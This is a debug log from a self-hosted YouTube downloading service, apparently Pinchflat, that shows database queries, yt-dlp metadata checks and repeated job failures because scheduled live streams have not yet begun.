16:17:33.800 [debug] QUERY OK source="media_metadata" db=0.2ms idle=7.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102574] 16:17:33.801 [debug] QUERY OK source="media_profiles" db=0.3ms idle=6.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:17:33.802 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:33.802 [debug] QUERY OK source="settings" db=0.2ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:33.803 [debug] Running yt-dlp command for action: get_downloadable_status 16:17:33.804 [debug] QUERY OK source="settings" db=0.2ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:33.805 [debug] QUERY OK source="settings" db=0.3ms idle=4.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:33.805 [debug] QUERY OK source="settings" db=0.2ms idle=4.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:17:33.806 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=opR_Tg1uLjc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fd/7d/fd7dc2769881e43f7d59cbb688e9a38d17c20afecbe3252a3f834b7090aeb571.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:17:34.916 [info] {"source":"oban","duration":1052,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:17:37.209 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=opR_Tg1uLjc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/fd/7d/fd7dc2769881e43f7d59cbb688e9a38d17c20afecbe3252a3f834b7090aeb571.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 41 days. 16:17:37.210 [error] yt-dlp download error for media item #102574: "ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 41 days.\n" 16:17:37.212 [debug] QUERY OK source="media_items" db=1.4ms idle=1529.3ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] opR_Tg1uLjc: This live event will begin in 41 days.\n", ~U[2025-12-14 23:17:37Z], 102574] 16:17:37.213 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102574},"id":2589,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3419205,"event":"job:exception","queue_time":449078,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:18:00.609 [info] {"source":"oban","duration":331,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:18:04.918 [info] {"source":"oban","duration":1191,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:18:34.920 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:00.610 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:19:04.922 [info] {"source":"oban","duration":1046,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:19:34.924 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:00.611 [info] {"source":"oban","duration":367,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:20:04.926 [info] {"source":"oban","duration":1346,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:20:34.928 [info] {"source":"oban","duration":1610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:00.612 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:21:04.930 [info] {"source":"oban","duration":1537,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:21:34.932 [info] {"source":"oban","duration":1429,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:00.613 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:22:04.934 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:22:34.936 [info] {"source":"oban","duration":982,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:00.614 [info] {"source":"oban","duration":282,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:23:04.938 [info] {"source":"oban","duration":977,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:23:34.940 [info] {"source":"oban","duration":969,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:00.615 [info] {"source":"oban","duration":257,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:24:04.942 [info] {"source":"oban","duration":1237,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:24:34.944 [info] {"source":"oban","duration":1039,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:00.616 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:25:04.946 [info] {"source":"oban","duration":1314,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:25:34.948 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:00.617 [info] {"source":"oban","duration":356,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:26:04.950 [info] {"source":"oban","duration":1302,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:26:34.952 [info] {"source":"oban","duration":1062,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:00.618 [info] {"source":"oban","duration":308,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:27:04.953 [info] {"source":"oban","duration":905,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:27:34.956 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:00.619 [info] {"source":"oban","duration":276,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:28:04.958 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:28:34.960 [info] {"source":"oban","duration":1186,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:00.620 [info] {"source":"oban","duration":240,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:29:04.962 [info] {"source":"oban","duration":1193,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:29:34.964 [info] {"source":"oban","duration":1194,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:00.621 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:30:04.966 [info] {"source":"oban","duration":1401,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:30:34.968 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:00.622 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:31:04.970 [info] {"source":"oban","duration":1479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:31:34.972 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:00.623 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:32:04.974 [info] {"source":"oban","duration":1173,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:32:34.976 [info] {"source":"oban","duration":1222,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:00.624 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:33:04.978 [info] {"source":"oban","duration":1607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:33:34.980 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:00.625 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:34:04.982 [info] {"source":"oban","duration":1458,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:34:34.984 [info] {"source":"oban","duration":957,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:00.626 [info] {"source":"oban","duration":435,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:35:04.986 [info] {"source":"oban","duration":953,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:35:34.988 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:00.627 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:36:04.990 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:36:34.992 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:00.628 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:37:04.994 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:37:34.997 [info] {"source":"oban","duration":1438,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:00.629 [info] {"source":"oban","duration":317,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:38:04.999 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:38:35.001 [info] {"source":"oban","duration":1335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:00.630 [info] {"source":"oban","duration":258,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:39:05.003 [info] {"source":"oban","duration":1522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:39:35.005 [info] {"source":"oban","duration":1377,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:00.631 [info] {"source":"oban","duration":382,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:40:05.007 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:40:35.009 [info] {"source":"oban","duration":1294,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:00.632 [info] {"source":"oban","duration":263,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:41:05.011 [info] {"source":"oban","duration":1418,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:41:35.013 [info] {"source":"oban","duration":1467,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:00.633 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:42:05.015 [info] {"source":"oban","duration":1407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:42:35.017 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:00.634 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:43:05.019 [info] {"source":"oban","duration":1043,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:43:35.021 [info] {"source":"oban","duration":1035,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:00.635 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:44:05.023 [info] {"source":"oban","duration":1164,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:44:35.025 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:00.636 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:45:05.027 [info] {"source":"oban","duration":1457,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:45:35.029 [info] {"source":"oban","duration":1357,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:00.637 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:46:05.031 [info] {"source":"oban","duration":1434,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:46:35.033 [info] {"source":"oban","duration":1347,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:00.638 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:47:05.035 [info] {"source":"oban","duration":1219,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:47:35.037 [info] {"source":"oban","duration":1469,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:00.639 [info] {"source":"oban","duration":267,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:48:05.039 [info] {"source":"oban","duration":1332,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:48:35.041 [info] {"source":"oban","duration":1087,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:00.640 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:49:05.043 [info] {"source":"oban","duration":1397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:49:35.045 [info] {"source":"oban","duration":1617,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:00.641 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:50:05.048 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:50:35.050 [info] {"source":"oban","duration":1228,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:00.642 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:51:05.052 [info] {"source":"oban","duration":1329,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:51:35.054 [info] {"source":"oban","duration":1210,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:00.643 [info] {"source":"oban","duration":312,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:52:05.056 [info] {"source":"oban","duration":917,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:52:35.058 [info] {"source":"oban","duration":939,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:00.644 [info] {"source":"oban","duration":428,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:53:05.060 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:53:35.062 [info] {"source":"oban","duration":1128,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:00.645 [info] {"source":"oban","duration":377,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:54:05.064 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:54:35.066 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:00.646 [info] {"source":"oban","duration":245,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:55:05.068 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:55:35.070 [info] {"source":"oban","duration":1231,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:00.647 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:56:05.072 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:56:35.074 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:00.648 [info] {"source":"oban","duration":357,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:57:05.076 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:57:35.078 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:00.649 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:58:05.080 [info] {"source":"oban","duration":995,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:58:35.082 [info] {"source":"oban","duration":1033,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:00.650 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 16:59:05.084 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 16:59:23.830 [info] {"args":{"id":102576},"id":2592,"meta":{},"system_time":1765756763829860900,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:59:23.830 [debug] QUERY OK source="media_items" db=0.5ms idle=1149.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [102576] 16:59:23.831 [info] User scripts lifecyle file either not present or is empty. Skipping. 16:59:23.831 [debug] QUERY OK source="sources" db=0.4ms idle=1149.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 16:59:23.832 [debug] QUERY OK source="media_profiles" db=0.3ms idle=1012.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:23.833 [debug] QUERY OK source="media_items" db=0.5ms idle=10.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [102576] 16:59:23.834 [debug] QUERY OK source="media_metadata" db=0.1ms idle=4.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [102576] 16:59:23.835 [debug] QUERY OK source="media_profiles" db=0.3ms idle=3.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:59:23.836 [debug] QUERY OK source="settings" db=0.2ms idle=4.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:23.836 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:23.837 [debug] Running yt-dlp command for action: get_downloadable_status 16:59:23.838 [debug] QUERY OK source="settings" db=0.2ms idle=4.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:23.838 [debug] QUERY OK source="settings" db=0.2ms idle=3.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:23.839 [debug] QUERY OK source="settings" db=0.2ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:23.839 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mxh_kSXFWpg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/b0/18b094f9548ae57211335c63e36c6e7e3f2f852504ac3dd7994629f1e9b79d22.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:59:27.323 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=mxh_kSXFWpg --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/18/b0/18b094f9548ae57211335c63e36c6e7e3f2f852504ac3dd7994629f1e9b79d22.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 34 days. 16:59:27.324 [error] yt-dlp download error for media item #102576: "ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 34 days.\n" 16:59:27.325 [debug] QUERY OK source="media_items" db=1.3ms idle=1643.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: [youtube] mxh_kSXFWpg: This live event will begin in 34 days.\n", ~U[2025-12-14 23:59:27Z], 102576] 16:59:27.326 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":102576},"id":2592,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":3496146,"event":"job:exception","queue_time":255317,"attempt":19,"tags":["media_item","media_fetching","show_in_dashboard"]} 16:59:35.086 [info] {"source":"oban","duration":1252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:00.651 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:05.089 [info] {"source":"oban","duration":2364,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":4} 17:00:35.091 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:00.652 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:05.093 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:01:35.095 [info] {"source":"oban","duration":1199,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:00.653 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:02:05.097 [info] {"source":"oban","duration":1442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:02:35.099 [info] 